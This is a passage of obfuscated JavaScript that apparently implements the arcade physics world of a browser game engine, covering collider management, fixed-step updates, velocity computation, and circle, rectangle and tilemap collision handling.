'disableBody': function (_0x2b3b0c) { this['remove'](_0x2b3b0c), _0x2b3b0c['enable'] = !0x1; }, 'remove': function (_0x3eabe3) { _0x3eabe3['physicsType'] === _0x5a0405['DYNAMIC_BODY'] ? (this['tree']['remove'](_0x3eabe3), this['bodies']['delete'](_0x3eabe3)) : _0x3eabe3['physicsType'] === _0x5a0405['STATIC_BODY'] && (this['staticBodies']['delete'](_0x3eabe3), this['staticTree']['remove'](_0x3eabe3)); }, 'createDebugGraphic': function () { var _0x9945b4 = this['scene']['sys']['add']['graphics']({ 'x': 0x0, 'y': 0x0 }); return _0x9945b4['setDepth'](Number['MAX_VALUE']), this['debugGraphic'] = _0x9945b4, this['drawDebug'] = !0x0, _0x9945b4; }, 'setBounds': function (_0x5ac0d2, _0x5422b7, _0x5db0ef, _0x351159, _0x547996, _0x403f59, _0x4b13fd, _0xffe997) { return this['bounds']['setTo'](_0x5ac0d2, _0x5422b7, _0x5db0ef, _0x351159), void 0x0 !== _0x547996 && this['setBoundsCollision'](_0x547996, _0x403f59, _0x4b13fd, _0xffe997), this; }, 'setBoundsCollision': function (_0x4f0539, _0x5ce57f, _0x325ab0, _0x2bdcd5) { return void 0x0 === _0x4f0539 && (_0x4f0539 = !0x0), void 0x0 === _0x5ce57f && (_0x5ce57f = !0x0), void 0x0 === _0x325ab0 && (_0x325ab0 = !0x0), void 0x0 === _0x2bdcd5 && (_0x2bdcd5 = !0x0), this['checkCollision']['left'] = _0x4f0539, this['checkCollision']['right'] = _0x5ce57f, this['checkCollision']['up'] = _0x325ab0, this['checkCollision']['down'] = _0x2bdcd5, this; }, 'pause': function () { return this['isPaused'] = !0x0, this['emit'](_0x1e131f['PAUSE']), this; }, 'resume': function () { return this['isPaused'] = !0x1, this['emit'](_0x1e131f['RESUME']), this; }, 'addCollider': function (_0x38cdca, _0x5252b9, _0x4c2747, _0x134428, _0x394e2a) { void 0x0 === _0x4c2747 && (_0x4c2747 = null), void 0x0 === _0x134428 && (_0x134428 = null), void 0x0 === _0x394e2a && (_0x394e2a = _0x4c2747); var _0x4149a8 = new _0x2e9371(this, !0x1, _0x38cdca, _0x5252b9, _0x4c2747, _0x134428, _0x394e2a); return this['colliders']['add'](_0x4149a8), _0x4149a8; }, 'addOverlap': function (_0x3c6142, _0x4376cc, _0x248c16, _0x36fe6f, _0x3b9fda) { void 0x0 === _0x248c16 && (_0x248c16 = null), void 0x0 === _0x36fe6f && (_0x36fe6f = null), void 0x0 === _0x3b9fda && (_0x3b9fda = _0x248c16); var _0x36e21a = new _0x2e9371(this, !0x0, _0x3c6142, _0x4376cc, _0x248c16, _0x36fe6f, _0x3b9fda); return this['colliders']['add'](_0x36e21a), _0x36e21a; }, 'removeCollider': function (_0x54282a) { return this['colliders']['remove'](_0x54282a), this; }, 'setFPS': function (_0x338b47) { return this['fps'] = _0x338b47, this['_frameTime'] = 0x1 / this['fps'], this['_frameTimeMS'] = 0x3e8 * this['_frameTime'], this; }, 'update': function (_0x1d1088, _0x157d0b) { if (!this['isPaused'] && 0x0 !== this['bodies']['size']) { var _0x1f670f, _0x3f9ca7, _0x22919b = this['_frameTime'], _0x4160b0 = this['_frameTimeMS'] * this['timeScale']; this['_elapsed'] += _0x157d0b; var _0x226546 = this['bodies']['entries'], _0x21380d = this['_elapsed'] >= _0x4160b0; for (this['fixedStep'] || (_0x22919b = 0.001 * _0x157d0b, _0x21380d = !0x0, this['_elapsed'] = 0x0), _0x1f670f = 0x0; _0x1f670f < _0x226546['length']; _0x1f670f++)(_0x3f9ca7 = _0x226546[_0x1f670f])['enable'] && _0x3f9ca7['preUpdate'](_0x21380d, _0x22919b); if (_0x21380d) { this['_elapsed'] -= _0x4160b0, this['stepsLastFrame'] = 0x1, this['useTree'] && (this['tree']['clear'](), this['tree']['load'](_0x226546)); var _0x13e7ea = this['colliders']['update'](); for (_0x1f670f = 0x0; _0x1f670f < _0x13e7ea['length']; _0x1f670f++) { var _0x286f5f = _0x13e7ea[_0x1f670f]; _0x286f5f['active'] && _0x286f5f['update'](); } this['emit'](_0x1e131f['WORLD_STEP'], _0x22919b); } for (; this['_elapsed'] >= _0x4160b0;)this['_elapsed'] -= _0x4160b0, this['step'](_0x22919b); } }, 'step': function (_0x3e13c8) { var _0x253288, _0x52dfab, _0xced7e4 = this['bodies']['entries'], _0x16fc63 = _0xced7e4['length']; for (_0x253288 = 0x0; _0x253288 < _0x16fc63; _0x253288++)(_0x52dfab = _0xced7e4[_0x253288])['enable'] && _0x52dfab['update'](_0x3e13c8); this['useTree'] && (this['tree']['clear'](), this['tree']['load'](_0xced7e4)); var _0x157c75 = this['colliders']['update'](); for (_0x253288 = 0x0; _0x253288 < _0x157c75['length']; _0x253288++) { var _0x5b93f5 = _0x157c75[_0x253288]; _0x5b93f5['active'] && _0x5b93f5['update'](); } this['emit'](_0x1e131f['WORLD_STEP'], _0x3e13c8), this['stepsLastFrame']++; }, 'singleStep': function () { this['update'](0x0, this['_frameTimeMS']), this['postUpdate'](); }, 'postUpdate': function () { var _0x5b78f7, _0xee850e, _0x676f41 = this['bodies']['entries'], _0x1f7f01 = _0x676f41['length'], _0x287bf5 = this['bodies'], _0x160543 = this['staticBodies']; if (this['stepsLastFrame']) { for (this['stepsLastFrame'] = 0x0, _0x5b78f7 = 0x0; _0x5b78f7 < _0x1f7f01; _0x5b78f7++)(_0xee850e = _0x676f41[_0x5b78f7])['enable'] && _0xee850e['postUpdate'](); } if (this['drawDebug']) { var _0x4ca1bd = this['debugGraphic']; for (_0x4ca1bd['clear'](), _0x5b78f7 = 0x0; _0x5b78f7 < _0x1f7f01; _0x5b78f7++)(_0xee850e = _0x676f41[_0x5b78f7])['willDrawDebug']() && _0xee850e['drawDebug'](_0x4ca1bd); for (_0x1f7f01 = (_0x676f41 = _0x160543['entries'])['length'], _0x5b78f7 = 0x0; _0x5b78f7 < _0x1f7f01; _0x5b78f7++)(_0xee850e = _0x676f41[_0x5b78f7])['willDrawDebug']() && _0xee850e['drawDebug'](_0x4ca1bd); } var _0x3fbc32 = this['pendingDestroy']; if (_0x3fbc32['size'] > 0x0) { var _0x357832 = this['tree'], _0x44794c = this['staticTree']; for (_0x1f7f01 = (_0x676f41 = _0x3fbc32['entries'])['length'], _0x5b78f7 = 0x0; _0x5b78f7 < _0x1f7f01; _0x5b78f7++)(_0xee850e = _0x676f41[_0x5b78f7])['physicsType'] === _0x5a0405['DYNAMIC_BODY'] ? (_0x357832['remove'](_0xee850e), _0x287bf5['delete'](_0xee850e)) : _0xee850e['physicsType'] === _0x5a0405['STATIC_BODY'] && (_0x44794c['remove'](_0xee850e), _0x160543['delete'](_0xee850e)), _0xee850e['world'] = void 0x0, _0xee850e['gameObject'] = void 0x0; _0x3fbc32['clear'](); } }, 'updateMotion': function (_0x4f88fe, _0x4d97fa) { _0x4f88fe['allowRotation'] && this['computeAngularVelocity'](_0x4f88fe, _0x4d97fa), this['computeVelocity'](_0x4f88fe, _0x4d97fa); }, 'computeAngularVelocity': function (_0x29dca2, _0x598d69) { var _0x5abc35 = _0x29dca2['angularVelocity'], _0x1cc112 = _0x29dca2['angularAcceleration'], _0x1c7700 = _0x29dca2['angularDrag'], _0x421d98 = _0x29dca2['maxAngular']; _0x1cc112 ? _0x5abc35 += _0x1cc112 * _0x598d69 : _0x29dca2['allowDrag'] && _0x1c7700 && (_0x2d0660(_0x5abc35 - (_0x1c7700 *= _0x598d69), 0x0, 0.1) ? _0x5abc35 -= _0x1c7700 : _0x2bdaab(_0x5abc35 + _0x1c7700, 0x0, 0.1) ? _0x5abc35 += _0x1c7700 : _0x5abc35 = 0x0); var _0x19d996 = (_0x5abc35 = _0x3aadb0(_0x5abc35, -_0x421d98, _0x421d98)) - _0x29dca2['angularVelocity']; _0x29dca2['angularVelocity'] += _0x19d996, _0x29dca2['rotation'] += _0x29dca2['angularVelocity'] * _0x598d69; }, 'computeVelocity': function (_0x1a3afa, _0x513f59) { var _0x127130 = _0x1a3afa['velocity']['x'], _0x252cdc = _0x1a3afa['acceleration']['x'], _0x3383ab = _0x1a3afa['drag']['x'], _0x512196 = _0x1a3afa['maxVelocity']['x'], _0x2d3c04 = _0x1a3afa['velocity']['y'], _0x114a26 = _0x1a3afa['acceleration']['y'], _0x3da809 = _0x1a3afa['drag']['y'], _0x2e0835 = _0x1a3afa['maxVelocity']['y'], _0x3bb19d = _0x1a3afa['speed'], _0x1c2349 = _0x1a3afa['maxSpeed'], _0x2c08be = _0x1a3afa['allowDrag'], _0x1e4fbc = _0x1a3afa['useDamping']; _0x1a3afa['allowGravity'] && (_0x127130 += (this['gravity']['x'] + _0x1a3afa['gravity']['x']) * _0x513f59, _0x2d3c04 += (this['gravity']['y'] + _0x1a3afa['gravity']['y']) * _0x513f59), _0x252cdc ? _0x127130 += _0x252cdc * _0x513f59 : _0x2c08be && _0x3383ab && (_0x1e4fbc ? (_0x127130 *= _0x3383ab = Math['pow'](_0x3383ab, _0x513f59), _0x3bb19d = Math['sqrt'](_0x127130 * _0x127130 + _0x2d3c04 * _0x2d3c04), _0x450ccf(_0x3bb19d, 0x0, 0.001) && (_0x127130 = 0x0)) : _0x2d0660(_0x127130 - (_0x3383ab *= _0x513f59), 0x0, 0.01) ? _0x127130 -= _0x3383ab : _0x2bdaab(_0x127130 + _0x3383ab, 0x0, 0.01) ? _0x127130 += _0x3383ab : _0x127130 = 0x0), _0x114a26 ? _0x2d3c04 += _0x114a26 * _0x513f59 : _0x2c08be && _0x3da809 && (_0x1e4fbc ? (_0x2d3c04 *= _0x3da809 = Math['pow'](_0x3da809, _0x513f59), _0x3bb19d = Math['sqrt'](_0x127130 * _0x127130 + _0x2d3c04 * _0x2d3c04), _0x450ccf(_0x3bb19d, 0x0, 0.001) && (_0x2d3c04 = 0x0)) : _0x2d0660(_0x2d3c04 - (_0x3da809 *= _0x513f59), 0x0, 0.01) ? _0x2d3c04 -= _0x3da809 : _0x2bdaab(_0x2d3c04 + _0x3da809, 0x0, 0.01) ? _0x2d3c04 += _0x3da809 : _0x2d3c04 = 0x0), _0x127130 = _0x3aadb0(_0x127130, -_0x512196, _0x512196), _0x2d3c04 = _0x3aadb0(_0x2d3c04, -_0x2e0835, _0x2e0835), _0x1a3afa['velocity']['set'](_0x127130, _0x2d3c04), _0x1c2349 > -0x1 && _0x1a3afa['velocity']['length']() > _0x1c2349 && (_0x1a3afa['velocity']['normalize']()['scale'](_0x1c2349), _0x3bb19d = _0x1c2349), _0x1a3afa['speed'] = _0x3bb19d; }, 'separate': function (_0x2ced8b, _0x1e1f64, _0x4eab34, _0x1301f3, _0x1f0cbc) { var _0x30f76c, _0x4a9623, _0x163030 = !0x1, _0x1a3061 = !0x0; if (!_0x2ced8b['enable'] || !_0x1e1f64['enable'] || _0x2ced8b['checkCollision']['none'] || _0x1e1f64['checkCollision']['none'] || !this['intersects'](_0x2ced8b, _0x1e1f64)) return _0x163030; if (_0x4eab34 && !0x1 === _0x4eab34['call'](_0x1301f3, _0x2ced8b['gameObject'] || _0x2ced8b, _0x1e1f64['gameObject'] || _0x1e1f64)) return _0x163030; if (_0x2ced8b['isCircle'] || _0x1e1f64['isCircle']) { var _0x253b1c = this['separateCircle'](_0x2ced8b, _0x1e1f64, _0x1f0cbc); _0x253b1c['result'] ? (_0x163030 = !0x0, _0x1a3061 = !0x1) : (_0x30f76c = _0x253b1c['x'], _0x4a9623 = _0x253b1c['y'], _0x1a3061 = !0x0); } if (_0x1a3061) { var _0x5187ed = !0x1, _0x33b3ed = !0x1, _0x26d7ad = this['OVERLAP_BIAS']; _0x1f0cbc ? (_0x5187ed = _0x22fbc6(_0x2ced8b, _0x1e1f64, _0x1f0cbc, _0x26d7ad, _0x30f76c), _0x33b3ed = _0x40f462(_0x2ced8b, _0x1e1f64, _0x1f0cbc, _0x26d7ad, _0x4a9623)) : this['forceX'] || Math['abs'](this['gravity']['y'] + _0x2ced8b['gravity']['y']) < Math['abs'](this['gravity']['x'] + _0x2ced8b['gravity']['x']) ? (_0x5187ed = _0x22fbc6(_0x2ced8b, _0x1e1f64, _0x1f0cbc, _0x26d7ad, _0x30f76c), this['intersects'](_0x2ced8b, _0x1e1f64) && (_0x33b3ed = _0x40f462(_0x2ced8b, _0x1e1f64, _0x1f0cbc, _0x26d7ad, _0x4a9623))) : (_0x33b3ed = _0x40f462(_0x2ced8b, _0x1e1f64, _0x1f0cbc, _0x26d7ad, _0x4a9623), this['intersects'](_0x2ced8b, _0x1e1f64) && (_0x5187ed = _0x22fbc6(_0x2ced8b, _0x1e1f64, _0x1f0cbc, _0x26d7ad, _0x30f76c))), _0x163030 = _0x5187ed || _0x33b3ed; } return _0x163030 && (_0x1f0cbc ? (_0x2ced8b['onOverlap'] || _0x1e1f64['onOverlap']) && this['emit'](_0x1e131f['OVERLAP'], _0x2ced8b['gameObject'], _0x1e1f64['gameObject'], _0x2ced8b, _0x1e1f64) : (_0x2ced8b['onCollide'] || _0x1e1f64['onCollide']) && this['emit'](_0x1e131f['COLLIDE'], _0x2ced8b['gameObject'], _0x1e1f64['gameObject'], _0x2ced8b, _0x1e1f64)), _0x163030; }, 'separateCircle': function (_0x19626f, _0x3a2f11, _0x22c7e1) { _0x14fce0(_0x19626f, _0x3a2f11, !0x1, 0x0), _0x229fc7(_0x19626f, _0x3a2f11, !0x1, 0x0); var _0x435916 = _0x19626f['isCircle'], _0x48af2c = _0x3a2f11['isCircle'], _0x599c28 = _0x19626f['center'], _0x4cda0a = _0x3a2f11['center'], _0x3a7cb1 = _0x19626f['immovable'], _0x2b8029 = _0x3a2f11['immovable'], _0x29c0f3 = _0x19626f['velocity'], _0x4b305e = _0x3a2f11['velocity'], _0x1c8c68 = 0x0, _0x363331 = !0x0; if (_0x435916 !== _0x48af2c) { _0x363331 = !0x1; var _0x45c6c7 = _0x599c28['x'], _0x5c5db9 = _0x599c28['y'], _0x2085e1 = _0x19626f['halfWidth'], _0x170773 = _0x3a2f11['position']['x'], _0x32350e = _0x3a2f11['position']['y'], _0x40049a = _0x3a2f11['right'], _0x64aa56 = _0x3a2f11['bottom']; _0x48af2c && (_0x45c6c7 = _0x4cda0a['x'], _0x5c5db9 = _0x4cda0a['y'], _0x2085e1 = _0x3a2f11['halfWidth'], _0x170773 = _0x19626f['position']['x'], _0x32350e = _0x19626f['position']['y'], _0x40049a = _0x19626f['right'], _0x64aa56 = _0x19626f['bottom']), _0x5c5db9 < _0x32350e ? _0x45c6c7 < _0x170773 ? _0x1c8c68 = _0x1ec331(_0x45c6c7, _0x5c5db9, _0x170773, _0x32350e) - _0x2085e1 : _0x45c6c7 > _0x40049a && (_0x1c8c68 = _0x1ec331(_0x45c6c7, _0x5c5db9, _0x40049a, _0x32350e) - _0x2085e1) : _0x5c5db9 > _0x64aa56 && (_0x45c6c7 < _0x170773 ? _0x1c8c68 = _0x1ec331(_0x45c6c7, _0x5c5db9, _0x170773, _0x64aa56) - _0x2085e1 : _0x45c6c7 > _0x40049a && (_0x1c8c68 = _0x1ec331(_0x45c6c7, _0x5c5db9, _0x40049a, _0x64aa56) - _0x2085e1)), _0x1c8c68 *= -0x1; } else _0x1c8c68 = _0x19626f['halfWidth'] + _0x3a2f11['halfWidth'] - _0x4dbafe(_0x599c28, _0x4cda0a); _0x19626f['overlapR'] = _0x1c8c68, _0x3a2f11['overlapR'] = _0x1c8c68; var _0x432f64 = _0x14b006(_0x599c28, _0x4cda0a), _0x22556f = (_0x1c8c68 + _0x402548['EPSILON']) * Math['cos'](_0x432f64), _0x5964ff = (_0x1c8c68 + _0x402548['EPSILON']) * Math['sin'](_0x432f64), _0x157b34 = { 'overlap': _0x1c8c68, 'result': !0x1, 'x': _0x22556f, 'y': _0x5964ff }; if (_0x22c7e1 && (!_0x363331 || _0x363331 && 0x0 !== _0x1c8c68)) return _0x157b34['result'] = !0x0, _0x157b34; if (!_0x363331 && 0x0 === _0x1c8c68 || _0x3a7cb1 && _0x2b8029 || _0x19626f['customSeparateX'] || _0x3a2f11['customSeparateX']) return _0x157b34['x'] = void 0x0, _0x157b34['y'] = void 0x0, _0x157b34; var _0x465eaa = !_0x19626f['pushable'] && !_0x3a2f11['pushable']; if (_0x363331) { var _0x5b7124 = _0x599c28['x'] - _0x4cda0a['x'], _0x1b9ce4 = _0x599c28['y'] - _0x4cda0a['y'], _0x342fa2 = Math['sqrt'](Math['pow'](_0x5b7124, 0x2) + Math['pow'](_0x1b9ce4, 0x2)), _0xc2688a = (_0x4cda0a['x'] - _0x599c28['x']) / _0x342fa2 || 0x0, _0x1ac1ca = (_0x4cda0a['y'] - _0x599c28['y']) / _0x342fa2 || 0x0, _0x1f28a7 = 0x2 * (_0x29c0f3['x'] * _0xc2688a + _0x29c0f3['y'] * _0x1ac1ca - _0x4b305e['x'] * _0xc2688a - _0x4b305e['y'] * _0x1ac1ca) / (_0x19626f['mass'] + _0x3a2f11['mass']); !_0x3a7cb1 && !_0x2b8029 && _0x19626f['pushable'] && _0x3a2f11['pushable'] || (_0x1f28a7 *= 0x2), !_0x3a7cb1 && _0x19626f['pushable'] && (_0x29c0f3['x'] = _0x29c0f3['x'] - _0x1f28a7 / _0x19626f['mass'] * _0xc2688a, _0x29c0f3['y'] = _0x29c0f3['y'] - _0x1f28a7 / _0x19626f['mass'] * _0x1ac1ca, _0x29c0f3['multiply'](_0x19626f['bounce'])), !_0x2b8029 && _0x3a2f11['pushable'] && (_0x4b305e['x'] = _0x4b305e['x'] + _0x1f28a7 / _0x3a2f11['mass'] * _0xc2688a, _0x4b305e['y'] = _0x4b305e['y'] + _0x1f28a7 / _0x3a2f11['mass'] * _0x1ac1ca, _0x4b305e['multiply'](_0x3a2f11['bounce'])), _0x3a7cb1 || _0x2b8029 || (_0x22556f *= 0.5, _0x5964ff *= 0.5), !_0x3a7cb1 || _0x19626f['pushable'] || _0x465eaa ? (_0x19626f['x'] -= _0x22556f, _0x19626f['y'] -= _0x5964ff, _0x19626f['updateCenter']()) : (!_0x2b8029 || _0x3a2f11['pushable'] || _0x465eaa) && (_0x3a2f11['x'] += _0x22556f, _0x3a2f11['y'] += _0x5964ff, _0x3a2f11['updateCenter']()), _0x157b34['result'] = !0x0; } else !_0x3a7cb1 || _0x19626f['pushable'] || _0x465eaa ? (_0x19626f['x'] -= _0x22556f, _0x19626f['y'] -= _0x5964ff, _0x19626f['updateCenter']()) : (!_0x2b8029 || _0x3a2f11['pushable'] || _0x465eaa) && (_0x3a2f11['x'] += _0x22556f, _0x3a2f11['y'] += _0x5964ff, _0x3a2f11['updateCenter']()), _0x157b34['x'] = void 0x0, _0x157b34['y'] = void 0x0; return _0x157b34; }, 'intersects': function (_0x1379a0, _0x5579d3) { return _0x1379a0 !== _0x5579d3 && (_0x1379a0['isCircle'] || _0x5579d3['isCircle'] ? _0x1379a0['isCircle'] ? _0x5579d3['isCircle'] ? _0x4dbafe(_0x1379a0['center'], _0x5579d3['center']) <= _0x1379a0['halfWidth'] + _0x5579d3['halfWidth'] : this['circleBodyIntersects'](_0x1379a0, _0x5579d3) : this['circleBodyIntersects'](_0x5579d3, _0x1379a0) : !(_0x1379a0['right'] <= _0x5579d3['left'] || _0x1379a0['bottom'] <= _0x5579d3['top'] || _0x1379a0['left'] >= _0x5579d3['right'] || _0x1379a0['top'] >= _0x5579d3['bottom'])); }, 'circleBodyIntersects': function (_0x40f46b, _0x1608da) { var _0x174dc9 = _0x3aadb0(_0x40f46b['center']['x'], _0x1608da['left'], _0x1608da['right']), _0x3d6801 = _0x3aadb0(_0x40f46b['center']['y'], _0x1608da['top'], _0x1608da['bottom']); return (_0x40f46b['center']['x'] - _0x174dc9) * (_0x40f46b['center']['x'] - _0x174dc9) + (_0x40f46b['center']['y'] - _0x3d6801) * (_0x40f46b['center']['y'] - _0x3d6801) <= _0x40f46b['halfWidth'] * _0x40f46b['halfWidth']; }, 'overlap': function (_0x2d1754, _0x318110, _0x31e935, _0xb39a2e, _0x1632fc) { return void 0x0 === _0x31e935 && (_0x31e935 = null), void 0x0 === _0xb39a2e && (_0xb39a2e = null), void 0x0 === _0x1632fc && (_0x1632fc = _0x31e935), this['collideObjects'](_0x2d1754, _0x318110, _0x31e935, _0xb39a2e, _0x1632fc, !0x0); }, 'collide': function (_0x5fe00a, _0x3123f5, _0x2bed70, _0x1bab5f, _0x12db54) { return void 0x0 === _0x2bed70 && (_0x2bed70 = null), void 0x0 === _0x1bab5f && (_0x1bab5f = null), void 0x0 === _0x12db54 && (_0x12db54 = _0x2bed70), this['collideObjects'](_0x5fe00a, _0x3123f5, _0x2bed70, _0x1bab5f, _0x12db54, !0x1); }, 'collideObjects': function (_0x1bfd28, _0x448ba7, _0x1bcdf4, _0x270661, _0xc5d842, _0x474b58) { var _0xba55b5, _0x43ab7d; !_0x1bfd28['isParent'] || void 0x0 !== _0x1bfd28['physicsType'] && void 0x0 !== _0x448ba7 && _0x1bfd28 !== _0x448ba7 || (_0x1bfd28 = _0x1bfd28['children']['entries']), _0x448ba7 && _0x448ba7['isParent'] && void 0x0 === _0x448ba7['physicsType'] && (_0x448ba7 = _0x448ba7['children']['entries']); var _0x7e2359 = Array['isArray'](_0x1bfd28), _0x14d217 = Array['isArray'](_0x448ba7); if (this['_total'] = 0x0, _0x7e2359 || _0x14d217) { if (!_0x7e2359 && _0x14d217) { for (_0xba55b5 = 0x0; _0xba55b5 < _0x448ba7['length']; _0xba55b5++)this['collideHandler'](_0x1bfd28, _0x448ba7[_0xba55b5], _0x1bcdf4, _0x270661, _0xc5d842, _0x474b58); } else { if (_0x7e2359 && !_0x14d217) { if (_0x448ba7) { for (_0xba55b5 = 0x0; _0xba55b5 < _0x1bfd28['length']; _0xba55b5++)this['collideHandler'](_0x1bfd28[_0xba55b5], _0x448ba7, _0x1bcdf4, _0x270661, _0xc5d842, _0x474b58); } else for (_0xba55b5 = 0x0; _0xba55b5 < _0x1bfd28['length']; _0xba55b5++) { var _0x4690a4 = _0x1bfd28[_0xba55b5]; for (_0x43ab7d = _0xba55b5 + 0x1; _0x43ab7d < _0x1bfd28['length']; _0x43ab7d++)_0xba55b5 !== _0x43ab7d && this['collideHandler'](_0x4690a4, _0x1bfd28[_0x43ab7d], _0x1bcdf4, _0x270661, _0xc5d842, _0x474b58); } } else { for (_0xba55b5 = 0x0; _0xba55b5 < _0x1bfd28['length']; _0xba55b5++)for (_0x43ab7d = 0x0; _0x43ab7d < _0x448ba7['length']; _0x43ab7d++)this['collideHandler'](_0x1bfd28[_0xba55b5], _0x448ba7[_0x43ab7d], _0x1bcdf4, _0x270661, _0xc5d842, _0x474b58); } } } else this['collideHandler'](_0x1bfd28, _0x448ba7, _0x1bcdf4, _0x270661, _0xc5d842, _0x474b58); return this['_total'] > 0x0; }, 'collideHandler': function (_0x5b1faa, _0x1e2689, _0x188d77, _0x1499bf, _0x4ce5c3, _0x2d4df4) { if (void 0x0 === _0x1e2689 && _0x5b1faa['isParent']) return this['collideGroupVsGroup'](_0x5b1faa, _0x5b1faa, _0x188d77, _0x1499bf, _0x4ce5c3, _0x2d4df4); if (!_0x5b1faa || !_0x1e2689) return !0x1; if (_0x5b1faa['body'] || _0x5b1faa['isBody']) { if (_0x1e2689['body'] || _0x1e2689['isBody']) return this['collideSpriteVsSprite'](_0x5b1faa, _0x1e2689, _0x188d77, _0x1499bf, _0x4ce5c3, _0x2d4df4); if (_0x1e2689['isParent']) return this['collideSpriteVsGroup'](_0x5b1faa, _0x1e2689, _0x188d77, _0x1499bf, _0x4ce5c3, _0x2d4df4); if (_0x1e2689['isTilemap']) return this['collideSpriteVsTilemapLayer'](_0x5b1faa, _0x1e2689, _0x188d77, _0x1499bf, _0x4ce5c3, _0x2d4df4); } else { if (_0x5b1faa['isParent']) { if (_0x1e2689['body'] || _0x1e2689['isBody']) return this['collideSpriteVsGroup'](_0x1e2689, _0x5b1faa, _0x188d77, _0x1499bf, _0x4ce5c3, _0x2d4df4); if (_0x1e2689['isParent']) return this['collideGroupVsGroup'](_0x5b1faa, _0x1e2689, _0x188d77, _0x1499bf, _0x4ce5c3, _0x2d4df4); if (_0x1e2689['isTilemap']) return this['collideGroupVsTilemapLayer'](_0x5b1faa, _0x1e2689, _0x188d77, _0x1499bf, _0x4ce5c3, _0x2d4df4); } else { if (_0x5b1faa['isTilemap']) { if (_0x1e2689['body'] || _0x1e2689['isBody']) return this['collideSpriteVsTilemapLayer'](_0x1e2689, _0x5b1faa, _0x188d77, _0x1499bf, _0x4ce5c3, _0x2d4df4); if (_0x1e2689['isParent']) return this['collideGroupVsTilemapLayer'](_0x1e2689, _0x5b1faa, _0x188d77, _0x1499bf, _0x4ce5c3, _0x2d4df4); } } } }, 'canCollide': function (_0x16998f, _0x5e7279) { return _0x16998f && _0x5e7279 && 0x0 != (_0x16998f['collisionMask'] & _0x5e7279['collisionCategory']) && 0x0 != (_0x5e7279['collisionMask'] & _0x16998f['collisionCategory']); }, 'collideSpriteVsSprite': function (_0x5dd281, _0x19f6dd, _0x48e60d, _0xa904db, _0x368bca, _0x44a7ff) { var _0x1d3643 = _0x5dd281['isBody'] ? _0x5dd281 : _0x5dd281['body'], _0x5b7212 = _0x19f6dd['isBody'] ? _0x19f6dd : _0x19f6dd['body']; return !!this['canCollide'](_0x1d3643, _0x5b7212) && (this['separate'](_0x1d3643, _0x5b7212, _0xa904db, _0x368bca, _0x44a7ff) && (_0x48e60d && _0x48e60d['call'](_0x368bca, _0x5dd281, _0x19f6dd), this['_total']++), !0x0); }, 'collideSpriteVsGroup': function (_0x5c5b5a, _0x5ec6ec, _0x4e6dbf, _0x1a6fae, _0x4ca007, _0x3a15c4) { var _0x173873, _0x37387d, _0x749af9, _0x3e1c57 = _0x5c5b5a['isBody'] ? _0x5c5b5a : _0x5c5b5a['body']; if (0x0 !== _0x5ec6ec['getLength']() && _0x3e1c57 && _0x3e1c57['enable'] && !_0x3e1c57['checkCollision']['none'] && this['canCollide'](_0x3e1c57, _0x5ec6ec)) { if (this['useTree'] || _0x5ec6ec['physicsType'] === _0x5a0405['STATIC_BODY']) { var _0x561a98 = this['treeMinMax']; _0x561a98['minX'] = _0x3e1c57['left'], _0x561a98['minY'] = _0x3e1c57['top'], _0x561a98['maxX'] = _0x3e1c57['right'], _0x561a98['maxY'] = _0x3e1c57['bottom']; var _0x5048d0 = _0x5ec6ec['physicsType'] === _0x5a0405['DYNAMIC_BODY'] ? this['tree']['search'](_0x561a98) : this['staticTree']['search'](_0x561a98); for (_0x37387d = _0x5048d0['length'], _0x173873 = 0x0; _0x173873 < _0x37387d; _0x173873++)_0x3e1c57 !== (_0x749af9 = _0x5048d0[_0x173873]) && _0x749af9['enable'] && !_0x749af9['checkCollision']['none'] && _0x5ec6ec['contains'](_0x749af9['gameObject']) && this['separate'](_0x3e1c57, _0x749af9, _0x1a6fae, _0x4ca007, _0x3a15c4) && (_0x4e6dbf && _0x4e6dbf['call'](_0x4ca007, _0x3e1c57['gameObject'], _0x749af9['gameObject']), this['_total']++); } else { var _0x47243d = _0x5ec6ec['getChildren'](), _0x5460e3 = _0x5ec6ec['children']['entries']['indexOf'](_0x5c5b5a); for (_0x37387d = _0x47243d['length'], _0x173873 = 0x0; _0x173873 < _0x37387d; _0x173873++)(_0x749af9 = _0x47243d[_0x173873]['body']) && _0x173873 !== _0x5460e3 && _0x749af9['enable'] && this['separate'](_0x3e1c57, _0x749af9, _0x1a6fae, _0x4ca007, _0x3a15c4) && (_0x4e6dbf && _0x4e6dbf['call'](_0x4ca007, _0x3e1c57['gameObject'], _0x749af9['gameObject']), this['_total']++); } } }, 'collideGroupVsTilemapLayer': function (_0x354820, _0x340287, _0x49a34d, _0x469c80, _0x20d90e, _0x380c26) { if (!this['canCollide'](_0x354820, _0x340287)) return !0x1; var _0x428765 = _0x354820['getChildren'](); if (0x0 === _0x428765['length']) return !0x1; for (var _0x50302e = !0x1, _0x4c6c68 = 0x0; _0x4c6c68 < _0x428765['length']; _0x4c6c68++)(_0x428765[_0x4c6c68]['body'] || _0x428765[_0x4c6c68]['isBody']) && this['collideSpriteVsTilemapLayer'](_0x428765[_0x4c6c68], _0x340287, _0x49a34d, _0x469c80, _0x20d90e, _0x380c26) && (_0x50302e = !0x0); return _0x50302e; }, 'collideTiles': function (_0x2518e4, _0x55b43b, _0xd379cd, _0x159be3, _0xf6e9f3) { return !(0x0 === _0x55b43b['length'] || _0x2518e4['body'] && !_0x2518e4['body']['enable'] || _0x2518e4['isBody'] && !_0x2518e4['enable']) && this['collideSpriteVsTilesHandler'](_0x2518e4, _0x55b43b, _0xd379cd, _0x159be3, _0xf6e9f3, !0x1, !0x1); }, 'overlapTiles': function (_0x1453e7, _0x540299, _0x22df7a, _0x34d854, _0x4e0a0a) { return !(0x0 === _0x540299['length'] || _0x1453e7['body'] && !_0x1453e7['body']['enable'] || _0x1453e7['isBody'] && !_0x1453e7['enable']) && this['collideSpriteVsTilesHandler'](_0x1453e7, _0x540299, _0x22df7a, _0x34d854, _0x4e0a0a, !0x0, !0x1); }, 'collideSpriteVsTilemapLayer': function (_0x2ba1fb, _0x37ddc5, _0x4ccddb, _0x12f0d1, _0x3986eb, _0x546560) { var _0xbc09a8 = _0x2ba1fb['isBody'] ? _0x2ba1fb : _0x2ba1fb['body']; if (!_0xbc09a8['enable'] || _0xbc09a8['checkCollision']['none'] || !this['canCollide'](_0xbc09a8, _0x37ddc5)) return !0x1; var _0xb85e7f = _0x37ddc5['layer'], _0x4cce87 = _0xbc09a8['x'] - _0xb85e7f['tileWidth'] * _0x37ddc5['scaleX'], _0x554cb9 = _0xbc09a8['y'] - _0xb85e7f['tileHeight'] * _0x37ddc5['scaleY'], _0x166ad3 = _0xbc09a8['width'] + 